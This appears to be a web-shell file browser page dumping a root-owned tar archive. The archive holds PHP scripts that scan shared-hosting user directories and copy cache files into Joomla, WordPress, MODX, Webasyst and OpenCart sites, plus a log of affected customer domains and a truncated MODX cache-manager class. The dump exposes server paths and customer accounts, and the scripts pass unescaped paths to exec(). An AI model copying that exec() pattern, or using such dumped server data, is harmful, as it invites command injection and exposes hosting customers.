????

Your IP : 3.144.7.52


Current Path : /root/
Upload File :
Current File : //root/pack.tar

cms/000755 000000 000765 00000000000 14216317237 013020 5ustar00rootnovadesign000000 000000 cms/joomla/000755 000000 000765 00000000000 14215045564 014301 5ustar00rootnovadesign000000 000000 cms/opencart/000755 000000 000765 00000000000 14215045567 014636 5ustar00rootnovadesign000000 000000 cms/PaxHeader/pack.tar000644 000000 000765 00000000203 14215032165 016403 xustar00rootnovadesign000000 000000 27 mtime=1647588469.394178
22 GNU.sparse.major=1
22 GNU.sparse.minor=0
32 GNU.sparse.name=cms/pack.tar
28 GNU.sparse.realsize=1024
cms/GNUSparseFile.0/pack.tar000644 000000 000765 00000001000 14215032165 017173 0ustar00rootnovadesign000000 000000 2
0
0
1024
0
cms/joomla_r.php000644 000765 000765 00000004075 14214545331 016531 0ustar00novadesignnovadesign000000 000000 <?php
$sourceCacheDirectory = __DIR__.'/joomla/cache/';
$sourceCacheDirectory1 = __DIR__.'/joomla/cache1/';
$logFile = __DIR__.'/joomla/log-success.txt';
$homedir='/sata*/home/users/';
$homedir_pcre='/sata[\d]/home/users/';
$cmd = 'find '.$homedir.' -type d -name joomla';

function isDirEmpty($dir)
{
    if (!is_readable($dir)) {
        return false;
    }
    return (count(scandir($dir)) == 2);
}

if (exec($cmd, $joomlaDirs) === false) {
    echo 'Failed to run command: ' . $cmd . PHP_EOL;
    exit();
};
if (count($joomlaDirs) == 0) {
    echo 'Nothing found.' . PHP_EOL;
    exit();
}
$logFileResource = fopen($logFile, 'a') or die("Unable to open log file: $logFile");
$totalFixed = 0;
foreach ($joomlaDirs as $joomlaDir) {
    $joomlaCacheDir = $joomlaDir . '/cache';
    if (!(is_dir($joomlaCacheDir) && preg_match('#/libraries/joomla/cache$#', $joomlaCacheDir))) {
        continue;
    }                   
    if (0==preg_match('#'.$homedir_pcre.'[a-z0-9]+/www/(.*)/#U',$joomlaDir, $domain)){
        echo "s2: $joomlaDir\n";
	continue;
    }
    #if($domain[1]==$ip=gethostbyname($domain[1])){
#	echo "s3: $joomlaDir\n";
#        continue;
#    }

    #exec('whois '.$ip,$ripe);
    #if (preg_match('/AS42331/',join("\n",$ripe))==0){
    #    echo "s4: $joomlaDir\n";
    #    continue;
    #}

    $joomlaCacheDirDirsFiles = scandir($joomlaCacheDir);
    if ($joomlaCacheDirDirsFiles == ['.', '..', 'controller', 'storage'] && isDirEmpty($joomlaCacheDir.'/controller')) {
	fwrite($logFileResource, $joomlaCacheDir.PHP_EOL);
        exec('cp -R '.$sourceCacheDirectory.' '.$joomlaCacheDir);
	$totalFixed++;
    }elseif ($joomlaCacheDirDirsFiles == ['.', '..', 'handler', 'storage'] && isDirEmpty($joomlaCacheDir.'/handler') && isDirEmpty($joomlaCacheDir.'/storage')) {
        fwrite($logFileResource, $joomlaCacheDir.PHP_EOL);
        exec('cp -R '.$sourceCacheDirectory1.' '.$joomlaCacheDir);
        $totalFixed++;
    }else{
	echo "s5: $joomlaDir\n";
	continue;
    }
}
fclose($logFileResource);

echo 'done, total fixed: '.$totalFixed.PHP_EOL;cms/webasyst/000755 000000 000765 00000000000 14215045572 014660 5ustar00rootnovadesign000000 000000 cms/wordpress.php000644 000000 000000 00000005516 14214566150 014513 0ustar00rootwheel000000 000000 <?php
$logFile = __DIR__.'/wordpress/log-wordpress-wpml-success.txt';
$wordpressWpmlCacheDirectoryScript = __DIR__.'/wordpress/class-wpml-cache-directory.php';
$wordpressInterfaceWpmlLogScript = __DIR__.'/wordpress/interface-wpml-log.php';
$plugins = array(
    'gravityforms-multilingual' => array(
        array(
            'search' => '/vendor/wpml/commons/src/cache/class-wpml-cache-directory.php',
            'copy' => $wordpressWpmlCacheDirectoryScript,
        )
    ),
    'sitepress-multilingual-cms' => array(
        array(
            'search' => '/classes/logs/interface-wpml-log.php',
            'copy' => $wordpressInterfaceWpmlLogScript,
        ),
        array(
            'search' => '/vendor/wpml-shared/wpml-lib-cache/src/cache/class-wpml-cache-directory.php',
            'copy' => $wordpressWpmlCacheDirectoryScript,
        ),
    ),
    'wpml-media-translation' => array(
        array(
            'search' => '/vendor/wpml/commons/src/cache/class-wpml-cache-directory.php',
            'copy' => $wordpressWpmlCacheDirectoryScript,
        )
    ),
    'wpml-string-translation' => array(
        array(
            'search' => '/vendor/wpml/commons/src/cache/class-wpml-cache-directory.php',
            'copy' => $wordpressWpmlCacheDirectoryScript,
        )
    ),
    'wpml-translation-management' => array(
        array(
            'search' => '/vendor/wpml/commons/src/cache/class-wpml-cache-directory.php',
            'copy' => $wordpressWpmlCacheDirectoryScript,
        )
    ),
);
$cmd = 'find /sata*/home/users/ -type d \( '.implode(' -o ', array_map(function($plugin){ return '-name "'.$plugin.'"';},array_keys($plugins))).' \)';

#$cmd = 'find /sata2/home/users/rentroms/www/ -type d \( '.implode(' -o ', array_map(function($plugin){ return '-name "'.$plugin.'"';},array_keys($plugins))).' \)';

if (exec($cmd, $dirs) === false) {
    echo 'Failed to run command: ' . $cmd . PHP_EOL;
    exit();
};
if (count($dirs) == 0) {
    echo 'nothing found'.PHP_EOL;
    exit();
}

$logFileResource = fopen($logFile, 'a') or die("Unable to open log file: $logFile");
$totalFixed = 0;
$sitePathChecked=array();
foreach ($dirs as $dir) {
    $plugin = basename($dir);
    if (!preg_match('#/wp-content/plugins/'.$plugin.'$#', $dir)) {
        continue;
    }
    foreach ($plugins[$plugin] as $item) {
        $checkFile = $dir . $item['search'];
        $checkDir = dirname($checkFile);
        if (!file_exists($checkFile)) {
                $cmdCp = 'cp '.$item['copy'].' '.$checkFile;
                exec($cmdCp);
                fwrite($logFileResource, $checkFile.PHP_EOL);
                $sitePathChecked[$dir] = 'fixed';
                $totalFixed++;
            }
    }
}
fclose($logFileResource);
print_r($sitePathChecked);
echo 'done, total fixed: '.$totalFixed.PHP_EOL;
cms/modx.php000644 000000 000000 00000002235 14216317237 013427 0ustar00rootwheel000000 000000 <?php
function isDirEmpty($dir)
{
    if (!is_readable($dir)) {
        return false;
    }
    return (count(scandir($dir)) == 2);
}
$logFile = __DIR__.'/modx/log-success.txt';
$restoreCacheDir = __DIR__.'/modx/cache/';
$cmd = 'find /sata2/home/users/ -type d -name xpdo';
if (exec($cmd, $dirs) === false) {
    echo 'Failed to run command: ' . $cmd . PHP_EOL;
    exit();
};
if (count($dirs) == 0) {
    echo 'nothing found'.PHP_EOL;
    exit();
}
$logFileResource = fopen($logFile, 'a') or die("Unable to open log file: $logFile");
$totalFixed = 0;
$sitePathChecked=array();
// print_r($dirs);
foreach ($dirs as $dir) {
    $cacheDir = $dir .'/cache';
    if (isDirEmpty($cacheDir)){
        $cmd = 'cp -R '.$restoreCacheDir.'* '.$cacheDir;
	echo $cmd."\n";
        exec($cmd);
            fwrite($logFileResource, $dir.PHP_EOL);
            $sitePathChecked[$dir] = 'fixed';
            $totalFixed++;
    } else {
        $sitePathChecked[$dir] = 'not updated, cache or cache/adapters not empty';
    }
}
fclose($logFileResource);
echo 'sitePathChecked: '.PHP_EOL;
print_r($sitePathChecked);
echo 'done, total fixed: '.$totalFixed.PHP_EOL;cms/wordpress-wp-optimize.php000644 000000 000000 00000004460 14215044755 016775 0ustar00rootwheel000000 000000 <?php
function isDirEmpty($dir)
{
    if (!is_readable($dir)) {
        return false;
    }
    return (count(scandir($dir)) == 2);
}
$logFile = __DIR__.'/wordpress/log-wordpress-wp-optimize-restore-versions-success.txt';
$wpOptimizeVersionsDir = __DIR__.'/wordpress/wp-optimize-versions/';
$cmd = 'find /sata*/home/users/ -type d -name wp-optimize';
#$cmd = 'find /sata1/home/users/maska/www/ -type d -name wp-optimize';
if (exec($cmd, $dirs) === false) {
    echo 'Failed to run command: ' . $cmd . PHP_EOL;
    exit();
};
if (count($dirs) == 0) {
    echo 'nothing found'.PHP_EOL;
    exit();
}
$logFileResource = fopen($logFile, 'a') or die("Unable to open log file: $logFile");
$totalFixed = 0;
$sitePathChecked=array();
$versionsNotFound=array();
foreach ($dirs as $dir) {
    if (!preg_match('#/wp-content/plugins/wp-optimize$#', $dir)) {
        continue;
    }
    $wpOptimizePhpContent = file_get_contents($dir.'/wp-optimize.php');
    $pattern = '/Version:\s*(\d\.\d)/';
    if (!preg_match('/Version:\s*([\d\.]+)/',$wpOptimizePhpContent, $matches)) {
        continue;
    }
    $cacheDir = $dir.'/cache';
    if (!is_dir($cacheDir)) {
        $sitePathChecked[$dir] = 'cache dir not found';
        continue;
    }
    if (!isDirEmpty($cacheDir)){
        $sitePathChecked[$dir] = 'cache dir not empty';
        continue;
    }
    
    switch(true){
    case $matches[1]=='3.2.1':
    case $matches[1]=='3.2.2':
    case $matches[1]=='3.2.0':
	$version='3.2.2';
	break;
    default:
	preg_match('/^(\d\.\d)/', $matches[1], $res);
	$version=$res[1];
    }

    $wpOptimizeVersionsDirCurrentVersion = $wpOptimizeVersionsDir.'wp-optimize.'.$version.'/';
    if (!is_dir($wpOptimizeVersionsDirCurrentVersion)) {
        $sitePathChecked[$dir] = $wpOptimizeVersionsDirCurrentVersion . ' - not found';
        $versionsNotFound[$version] = true;
        continue;
    }

    $cmd = 'cp -R '.$wpOptimizeVersionsDirCurrentVersion.'wp-optimize/cache/* '.$cacheDir;
    echo $cmd."\n";
    exec($cmd);
    fwrite($logFileResource, $dir.PHP_EOL);
    $sitePathChecked[$dir] = 'fixed';
    $totalFixed++;
}
fclose($logFileResource);
echo 'sitePathChecked: '.PHP_EOL;
print_r($sitePathChecked);
echo 'wp-optimize versions not found (for restore cache): '.PHP_EOL;
print_r(array_keys($versionsNotFound));
echo 'done, total fixed: '.$totalFixed.PHP_EOL;cms/wordpress/000755 000000 000765 00000000000 14215045577 015054 5ustar00rootnovadesign000000 000000 cms/webasyst-fix.php000644 000000 000000 00000002627 14214667143 015114 0ustar00rootwheel000000 000000 <?php
function isDirEmpty($dir)
{
    if (!is_readable($dir)) {
        return false;
    }
    return (count(scandir($dir)) == 2);
}
$logFile = __DIR__.'/webasyst/log-success.txt';
$restoreCacheDir = __DIR__.'/webasyst/cache/';
$cmd = 'find /sata*/home/users/ -type d -name wa-system';
if (exec($cmd, $dirs) === false) {
    echo 'Failed to run command: ' . $cmd . PHP_EOL;
    exit();
};
if (count($dirs) == 0) {
    echo 'nothing found'.PHP_EOL;
    exit();
}
$logFileResource = fopen($logFile, 'a') or die("Unable to open log file: $logFile");
$totalFixed = 0;
$sitePathChecked=array();
// print_r($dirs);
foreach ($dirs as $dir) {
    $cacheDir = $dir .'/cache';
    $cacheAdaptersDir = $cacheDir.'/adapters';
    if (isDirEmpty($cacheDir)
        ||
        (
            scandir($cacheDir) == ['.', '..', 'adapters']
            && is_dir($cacheAdaptersDir)
            && isDirEmpty($cacheAdaptersDir)
        )
    ) {
        $cmd = 'cp -R '.$restoreCacheDir.'* '.$cacheDir;
	echo $cmd."\n";
        exec($cmd);
            fwrite($logFileResource, $dir.PHP_EOL);
            $sitePathChecked[$dir] = 'fixed';
            $totalFixed++;
    } else {
        $sitePathChecked[$dir] = 'not updated, cache or cache/adapters not empty';
    }
}
fclose($logFileResource);
echo 'sitePathChecked: '.PHP_EOL;
print_r($sitePathChecked);
echo 'done, total fixed: '.$totalFixed.PHP_EOL;cms/opencart-script.php000644 000000 000000 00000004253 14214311776 015577 0ustar00rootwheel000000 000000 <?php
$sourceCacheDirectory = __DIR__.'/opencart/cache/';
$logFile = __DIR__.'/opencart/log-success.txt';

$dirs=array(
'/sata1/home/users/',
'/sata2/home/users/'
);


function isDirEmpty($dir)
{
    if (!is_readable($dir)) {
        return false;
    }
    return (count(scandir($dir)) == 2);
}

$logFileResource = fopen($logFile, 'a') or die("Unable to open log file: $logFile");
$sitePathChecked = array();
$totalFixed = 0;

foreach($dirs as $usersDir){
$cmd = 'find '.$usersDir.' -type f -name amazonus.php';

if (exec($cmd, $files) === false) {
    echo 'Failed to run command: ' . $cmd . PHP_EOL;
    exit();
};
foreach ($files as $file) {
    //echo $file.PHP_EOL;
    if (!preg_match('#('.$usersDir.'[a-z0-9]+/www/.+)/.*#U',$file, $matches)) {
        continue;
    }
    $sitePath = $matches[1];
    if (isset($sitePathChecked[$sitePath])) {
        continue;
    }
    $sitePathChecked[$sitePath] = '';
    if (!file_exists($sitePath.'/index.php')) {
        $sitePathChecked[$sitePath] = 'index.php not found';
        continue;
    }
    $indexPhpContent = file_get_contents($sitePath.'/index.php');
    $pattern1 = "/start\s*\(\s*'catalog'\s*\)\s*/m";
    $pattern2 = "/require_once\s*\(\s*DIR_SYSTEM\s*\.\s*'framework\.php'\s*\)\s*/m";
    if (!preg_match($pattern1, $indexPhpContent)
        && !preg_match($pattern2, $indexPhpContent)
    ) {
        $sitePathChecked[$sitePath] = 'failed to preg_match';
        echo "err 4:".$file."\n";        
        continue;
    }

    $cacheDir = $sitePath . '/system/library/cache';
    if (!is_dir($cacheDir) || !isDirEmpty($cacheDir)) {
        $sitePathChecked[$sitePath] = 'cache dir not found or empty';
        echo "err 5:".$cacheDir."\n";        
        continue;
    }

    $cmd = 'cp -R '.$sourceCacheDirectory.'* '.$cacheDir;
    exec($cmd);
    //if (exec($cmd) !== false) {
        fwrite($logFileResource, $sitePath.PHP_EOL);
    //    $sitePathChecked[$sitePath] = 'fixed';
            $totalFixed++;
    //} else {
    //    $sitePathChecked[$sitePath] = 'failed cmd: '.$cmd;
    //}
}
}
fclose($logFileResource);
//print_r($sitePathChecked);
echo 'done, total fixed: '.$totalFixed.PHP_EOL;cms/modx/000755 000000 000765 00000000000 14216315735 013770 5ustar00rootnovadesign000000 000000 cms/modx/log-success.txt000644 000000 000765 00000000765 14216317357 016772 0ustar00rootnovadesign000000 000000 /sata2/home/users/fonconi/www/www.fonconi.sumy.ua/core/xpdo
/sata2/home/users/boss1/www/www.boss.net.ua/core/xpdo
/sata2/home/users/kormir/www/www.kormir.it/core/xpdo
/sata2/home/users/fonconi/www/www.fonconi.sumy.ua/core/xpdo
/sata2/home/users/boss1/www/www.boss.net.ua/core/xpdo
/sata2/home/users/kormir/www/www.kormir.it/core/xpdo
/sata2/home/users/fonconi/www/www.fonconi.sumy.ua/core/xpdo
/sata2/home/users/boss1/www/www.boss.net.ua/core/xpdo
/sata2/home/users/kormir/www/www.kormir.it/core/xpdo
cms/modx/cache/000755 000000 000765 00000000000 14216315225 015025 5ustar00rootnovadesign000000 000000 cms/modx/cache/xpdocachemanager.class.php000644 000000 000000 00000133145 13644004674 021076 0ustar00rootwheel000000 000000 <?php
/*
 * Copyright 2010-2015 by MODX, LLC.
 *
 * This file is part of xPDO.
 *
 * xPDO is free software; you can redistribute it and/or modify it under the
 * terms of the GNU General Public License as published by the Free Software
 * Foundation; either version 2 of the License, or (at your option) any later
 * version.
 *
 * xPDO is distributed in the hope that it will be useful, but WITHOUT ANY
 * WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR
 * A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with
 * xPDO; if not, write to the Free Software Foundation, Inc., 59 Temple Place,
 * Suite 330, Boston, MA 02111-1307 USA
 */

/**
 * Classes implementing a default cache implementation for xPDO.
 *
 * @package xpdo
 * @subpackage cache
 */

/**
 * The default cache manager implementation for xPDO.
 *
 * @package xpdo
 * @subpackage cache
 */
class xPDOCacheManager {
    const CACHE_PHP = 0;
    const CACHE_JSON = 1;
    const CACHE_SERIALIZE = 2;
    const CACHE_DIR = 'objects/';
    const LOG_DIR = 'logs/';

    protected $xpdo= null;
    protected $caches= array();
    protected $options= array();
    protected $_umask= null;

    public function __construct(& $xpdo, $options = array()) {
        $this->xpdo= & $xpdo;
        $this->options= $options;
        $this->_umask= umask();
    }

    /**
     * Get an instance of a provider which implements the xPDOCache interface.
     */
    public function & getCacheProvider($key = '', $options = array()) {
        $objCache = null;
        if (empty($key)) {
            $key = $this->getOption(xPDO::OPT_CACHE_KEY, $options, 'default');
        }
        $objCacheClass= 'xPDOFileCache';
        if (!isset($this->caches[$key]) || !is_object($this->caches[$key])) {
            if ($cacheClass = $this->getOption($key . '_' . xPDO::OPT_CACHE_HANDLER, $options, $this->getOption(xPDO::OPT_CACHE_HANDLER, $options))) {
                $cacheClass = $this->xpdo->loadClass($cacheClass, XPDO_CORE_PATH, false, true);
                if ($cacheClass) {
                    $objCacheClass= $cacheClass;
                }
            }
            $options[xPDO::OPT_CACHE_KEY]= $key;
            $this->caches[$key] = new $objCacheClass($this->xpdo, $options);
            if (empty($this->caches[$key]) || !$this->caches[$key]->isInitialized()) {
                $this->caches[$key] = new xPDOFileCache($this->xpdo, $options);
            }
            $objCache = $this->caches[$key];
            $objCacheClass= get_class($objCache);
        } else {
            $objCache =& $this->caches[$key];
            $objCacheClass= get_class($objCache);
        }
        if ($this->xpdo->getDebug() === true) $this->xpdo->log(xPDO::LOG_LEVEL_DEBUG, "Returning {$objCacheClass}:{$key} cache provider from available providers: " . print_r(array_keys($this->caches), 1));
        return $objCache;
    }

    /**
     * Get an option from supplied options, the cacheManager options, or xpdo itself.
     *
     * @param string $key Unique identifier for the option.
     * @param array $options A set of explicit options to override those from xPDO or the
     * xPDOCacheManager implementation.
     * @param mixed $default An optional default value to return if no value is found.
     * @return mixed The value of the option.
     */
    public function getOption($key, $options = array(), $default = null) {
        $option = $default;
        if (is_array($key)) {
            if (!is_array($option)) {
                $default= $option;
                $option= array();
            }
            foreach ($key as $k) {
                $option[$k]= $this->getOption($k, $options, $default);
            }
        } elseif (is_string($key) && !empty($key)) {
            if (is_array($options) && !empty($options) && array_key_exists($key, $options)) {
                $option = $options[$key];
            } elseif (is_array($this->options) && !empty($this->options) && array_key_exists($key, $this->options)) {
                $option = $this->options[$key];
            } else {
                $option = $this->xpdo->getOption($key, null, $default);
            }
        }
        return $option;
    }

    /**
     * Get default folder permissions based on umask
     *
     * @return integer The default folder permissions.
     */
    public function getFolderPermissions() {
        $perms = 0777;
        $perms = $perms & (0777 - $this->_umask);
        return $perms;
    }

    /**
     * Get default file permissions based on umask
     *
     * @return integer The default file permissions.
     */
    public function getFilePermissions() {
        $perms = 0666;
        $perms = $perms & (0777 - $this->_umask);
        return $perms;
    }

    /**
     * Get the absolute path to a writable directory for storing files.
     *
     * @access public
     * @return string The absolute path of the xPDO cache directory.
     */
    public function getCachePath() {
        $cachePath= false;
        if (empty($this->xpdo->cachePath)) {
            if (!isset ($this->xpdo->config['cache_path'])) {
                while (true) {
                    if (!empty ($_ENV['TMP'])) {
                        if ($cachePath= strtr($_ENV['TMP'], '\\', '/'))
                            break;
                    }
                    if (!empty ($_ENV['TMPDIR'])) {
                        if ($cachePath= strtr($_ENV['TMPDIR'], '\\', '/'))
                            break;
                    }
                    if (!empty ($_ENV['TEMP'])) {
                        if ($cachePath= strtr($_ENV['TEMP'], '\\', '/'))
                            break;
                    }
                    if ($temp_file= @ tempnam(md5(uniqid(rand(), TRUE)), '')) {
                        $cachePath= strtr(dirname($temp_file), '\\', '/');
                        @ unlink($temp_file);
                    }
                    break;
                }
                if ($cachePath) {
                    if ($cachePath[strlen($cachePath) - 1] != '/') $cachePath .= '/';
                    $cachePath .= '.xpdo-cache';
                }
            }
            else {
                $cachePath= strtr($this->xpdo->config['cache_path'], '\\', '/');
            }
        } else {
            $cachePath= $this->xpdo->cachePath;
        }
        if ($cachePath) {
            $perms = $this->getOption('new_folder_permissions', null, $this->getFolderPermissions());
            if (is_string($perms)) $perms = octdec($perms);
            if (@ $this->writeTree($cachePath, $perms)) {
                if ($cachePath[strlen($cachePath) - 1] != '/') $cachePath .= '/';
                if (!is_writeable($cachePath)) {
                    @ chmod($cachePath, $perms);
                }
            } else {
                $cachePath= false;
            }
        }
        return $cachePath;
    }

    /**
     * Writes a file to the filesystem.
     *
     * @access public
     * @param string $filename The absolute path to the location the file will
     * be written in.
     * @param string $content The content of the newly written file.
     * @param string $mode The php file mode to write in. Defaults to 'wb'. Note that this method always
     * uses a (with b or t if specified) to open the file and that any mode except a means existing file
     * contents will be overwritten.
     * @param array $options An array of options for the function.
     * @return int|bool Returns the number of bytes written to the file or false on failure.
     */
    public function writeFile($filename, $content, $mode= 'wb', $options= array()) {
        $written= false;
        if (!is_array($options)) {
            $options = is_scalar($options) && !is_bool($options) ? array('new_folder_permissions' => $options) : array();
        }
        $dirname= dirname($filename);
        if (!file_exists($dirname)) {
            $this->writeTree($dirname, $options);
        }
        $mode = str_replace('+', '', $mode);
        switch ($mode[0]) {
            case 'a':
                $append = true;
                break;
            default:
                $append = false;
                break;
        }
        $fmode = (strlen($mode) > 1 && in_array($mode[1], array('b', 't'))) ? "a{$mode[1]}" : 'a';
        $file= @fopen($filename, $fmode);
        if ($file) {
            if ($append === true) {
                $written= fwrite($file, $content);
            } else {
                $locked = false;
                $attempt = 1;
                $attempts = (integer) $this->getOption(xPDO::OPT_CACHE_ATTEMPTS, $options, 1);
                $attemptDelay = (integer) $this->getOption(xPDO::OPT_CACHE_ATTEMPT_DELAY, $options, 1000);
                while (!$locked && ($attempts === 0 || $attempt <= $attempts)) {
                    if ($this->getOption('use_flock', $options, true)) {
                        $locked = flock($file, LOCK_EX | LOCK_NB);
                    } else {
                        $lockFile = $this->lockFile($filename, $options);
                        $locked = $lockFile != false;
                    }
                    if (!$locked && $attemptDelay > 0 && ($attempts === 0 || $attempt < $attempts)) {
                        usleep($attemptDelay);
                    }
                    $attempt++;
                }
                if ($locked) {
                    fseek($file, 0);
                    ftruncate($file, 0);
                    $written= fwrite($file, $content);
                    if ($this->getOption('use_flock', $options, true)) {
                        flock($file, LOCK_UN);
                    } else {
                        $this->unlockFile($filename, $options);
                    }
                }
            }
            @fclose($file);
            if ($written !== false && $fileMode = $this->getOption('new_file_permissions', $options, false)) {
                if (is_string($fileMode)) $fileMode = octdec($fileMode);
                @ chmod($filename, $fileMode);
            }
        }
        return ($written !== false);
    }

    /**
     * Add an exclusive lock to a file for atomic write operations in multi-threaded environments.
     *
     * xPDO::OPT_USE_FLOCK must be set to false (or 0) or xPDO will assume flock is reliable.
     *
     * @param string $file The name of the file to lock.
     * @param array $options An array of options for the process.
     * @return boolean True only if the current process obtained an exclusive lock for writing.
     */
    public function lockFile($file, array $options = array()) {
        $locked = false;
        $lockDir = $this->getOption('lock_dir', $options, $this->getCachePath() . 'locks' . DIRECTORY_SEPARATOR);
        if ($this->writeTree($lockDir, $options)) {
            $lockFile = $this->lockFileName($file, $options);
            if (!file_exists($lockFile)) {
                $myPID = (XPDO_CLI_MODE || !isset($_SERVER['SERVER_ADDR']) ? gethostname() : $_SERVER['SERVER_ADDR']) . '.' . getmypid();
                $myPID .= mt_rand();
                $tmpLockFile = "{$lockFile}.{$myPID}";
                if (file_put_contents($tmpLockFile, $myPID)) {
                    if (link($tmpLockFile, $lockFile)) {
                        $locked = true;
                    }
                    @unlink($tmpLockFile);
                }
            }
        } else {
            $this->xpdo->log(xPDO::LOG_LEVEL_ERROR, "The lock_dir at {$lockDir} is not writable and could not be created");
        }
        if (!$locked) $this->xpdo->log(xPDO::LOG_LEVEL_WARN, "Attempt to lock file {$file} failed");
        return $locked;
    }

    /**
     * Release an exclusive lock on a file created by lockFile().
     *
     * @param string $file The name of the file to unlock.
     * @param array $options An array of options for the process.
     */
    public function unlockFile($file, array $options = array()) {
        @unlink($this->lockFileName($file, $options));
    }

    /**
     * Get an absolute path to a lock file for a specified file path.
     *
     * @param string $file The absolute path to get the lock filename for.
     * @param array $options An array of options for the process.
     * @return string The absolute path for the lock file
     */
    protected function lockFileName($file, array $options = array()) {
        $lockDir = $this->getOption('lock_dir', $options, $this->getCachePath() . 'locks' . DIRECTORY_SEPARATOR);
        return $lockDir . preg_replace('/\W/', '_', $file) . $this->getOption(xPDO::OPT_LOCKFILE_EXTENSION, $options, '.lock');
    }

    /**
     * Recursively writes a directory tree of files to the filesystem
     *
     * @access public
     * @param string $dirname The directory to write
     * @param array $options An array of options for the function. Can also be a value representing
     * a permissions mode to write new directories with, though this is deprecated.
     * @return boolean Returns true if the directory was successfully written.
     */
    public function writeTree($dirname, $options= array()) {
        $written= false;
        if (!empty ($dirname)) {
            if (!is_array($options)) $options = is_scalar($options) && !is_bool($options) ? array('new_folder_permissions' => $options) : array();
            $mode = $this->getOption('new_folder_permissions', $options, $this->getFolderPermissions());
            if (is_string($mode)) $mode = octdec($mode);
            $dirname= strtr(trim($dirname), '\\', '/');
            if ($dirname[strlen($dirname) - 1] == '/') $dirname = substr($dirname, 0, strlen($dirname) - 1);
            if (is_dir($dirname) || (is_writable(dirname($dirname)) && @mkdir($dirname, $mode))) {
                $written= true;
            } elseif (!$this->writeTree(dirname($dirname), $options)) {
                $written= false;
            } else {
                $written= @ mkdir($dirname, $mode);
            }
            if ($written) {
                @ chmod($dirname, $mode);
            }
        }
        return $written;
    }

    /**
     * Copies a file from a source file to a target directory.
     *
     * @access public
     * @param string $source The absolute path of the source file.
     * @param string $target The absolute path of the target destination
     * directory.
     * @param array $options An array of options for this function.
     * @return boolean|array Returns true if the copy operation was successful, or a single element
     * array with filename as key and stat results of the successfully copied file as a result.
     */
    public function copyFile($source, $target, $options = array()) {
        $copied= false;
        if (!is_array($options)) $options = is_scalar($options) && !is_bool($options) ? array('new_file_permissions' => $options) : array();
        if (func_num_args() === 4) $options['new_folder_permissions'] = func_get_arg(3);
        if ($this->writeTree(dirname($target), $options)) {
            $existed= file_exists($target);
            if ($existed && $this->getOption('copy_newer_only', $options, false) && (($ttime = filemtime($target)) > ($stime = filemtime($source)))) {
                $this->xpdo->log(xPDO::LOG_LEVEL_INFO, "xPDOCacheManager->copyFile(): Skipping copy of newer file {$target} ({$ttime}) from {$source} ({$stime})");
            } else {
                $copied= copy($source, $target);
            }
            if ($copied) {
                if (!$this->getOption('copy_preserve_permissions', $options, false)) {
                    $fileMode = $this->getOption('new_file_permissions', $options, $this->getFilePermissions());
                    if (is_string($fileMode)) $fileMode = octdec($fileMode);
                    @ chmod($target, $fileMode);
                }
                if ($this->getOption('copy_preserve_filemtime', $options, true)) @ touch($target, filemtime($source));
                if ($this->getOption('copy_return_file_stat', $options, false)) {
                    $stat = stat($target);
                    if (is_array($stat)) {
                        $stat['overwritten']= $existed;
                        $copied = array($target => $stat);
                    }
                }
            }
        }
        if (!$copied) {
            $this->xpdo->log(xPDO::LOG_LEVEL_ERROR, "xPDOCacheManager->copyFile(): Could not copy file {$source} to {$target}");
        }
        return $copied;
    }

    /**
     * Recursively copies a directory tree from a source directory to a target
     * directory.
     *
     * @access public
     * @param string $source The absolute path of the source directory.
     * @param string $target The absolute path of the target destination directory.
     * @param array $options An array of options for this function.
     * @return array|boolean Returns an array of all files and folders that were copied or false.
     */
    public function copyTree($source, $target, $options= array()) {
        $copied= false;
        $source= strtr($source, '\\', '/');
        $target= strtr($target, '\\', '/');
        if ($source[strlen($source) - 1] == '/') $source = substr($source, 0, strlen($source) - 1);
        if ($target[strlen($target) - 1] == '/') $target = substr($target, 0, strlen($target) - 1);
        if (is_dir($source . '/')) {
            if (!is_array($options)) $options = is_scalar($options) && !is_bool($options) ? array('new_folder_permissions' => $options) : array();
            if (func_num_args() === 4) $options['new_file_permissions'] = func_get_arg(3);
            if (!is_dir($target . '/')) {
                $this->writeTree($target . '/', $options);
            }
            if (is_dir($target)) {
                if (!is_writable($target)) {
                    $dirMode = $this->getOption('new_folder_permissions', $options, $this->getFolderPermissions());
                    if (is_string($dirMode)) $dirMode = octdec($dirMode);
                    if (! @ chmod($target, $dirMode)) {
                        $this->xpdo->log(xPDO::LOG_LEVEL_ERROR, "{$target} is not writable and permissions could not be modified.");
                    }
                }
                if ($handle= @ opendir($source)) {
                    $excludeItems = $this->getOption('copy_exclude_items', $options, array('.', '..','.svn','.svn/','.svn\\'));
                    $excludePatterns = $this->getOption('copy_exclude_patterns', $options);
                    $copiedFiles = array();
                    $error = false;
                    while (false !== ($item= readdir($handle))) {
                        $copied = false;
                        if (is_array($excludeItems) && !empty($excludeItems) && in_array($item, $excludeItems)) continue;
                        if (is_array($excludePatterns) && !empty($excludePatterns) && $this->matches($item, $excludePatterns)) continue;
                        $from= $source . '/' . $item;
                        $to= $target . '/' . $item;
                        if (is_dir($from)) {
                            if (!($copied= $this->copyTree($from, $to, $options))) {
                                $this->xpdo->log(xPDO::LOG_LEVEL_ERROR, "Could not copy directory {$from} to {$to}");
                                $error = true;
                            } else {
                                $copiedFiles = array_merge($copiedFiles, $copied);
                            }
                        } elseif (is_file($from)) {
                            if (!$copied= $this->copyFile($from, $to, $options)) {
                                $this->xpdo->log(xPDO::LOG_LEVEL_ERROR, "Could not copy file {$from} to {$to}; could not create directory.");
                                $error = true;
                            } else {
                                $copiedFiles[] = $to;
                            }
                        } else {
                            $this->xpdo->log(xPDO::LOG_LEVEL_ERROR, "Could not copy {$from} to {$to}");
                        }
                    }
                    @ closedir($handle);
                    if (!$error) $copiedFiles[] = $target;
                    $copied = $copiedFiles;
                } else {
                    $this->xpdo->log(xPDO::LOG_LEVEL_ERROR, "Could not read source directory {$source}");
                }
            } else {
                $this->xpdo->log(xPDO::LOG_LEVEL_ERROR, "Could not create target directory {$target}");
            }
        } else {
            $this->xpdo->log(xPDO::LOG_LEVEL_ERROR, "Source directory {$source} does not exist.");
        }
        return $copied;
    }

    /**
     * Recursively deletes a directory tree of files.
     *
     * @access public
     * @param string $dirname An absolute path to the source directory to delete.
     * @param array $options An array of options for this function.
     * @return boolean Returns true if the deletion was successful.
     */
    public function deleteTree($dirname, $options= array('deleteTop' => false, 'skipDirs' => false, 'extensions' => array('.cache.php'))) {
        $result= false;
        if (is_dir($dirname)) { /* Operate on dirs only */
            if (substr($dirname, -1) != '/') {
                $dirname .= '/';
            }
            $result= array ();
            if (!is_array($options)) {
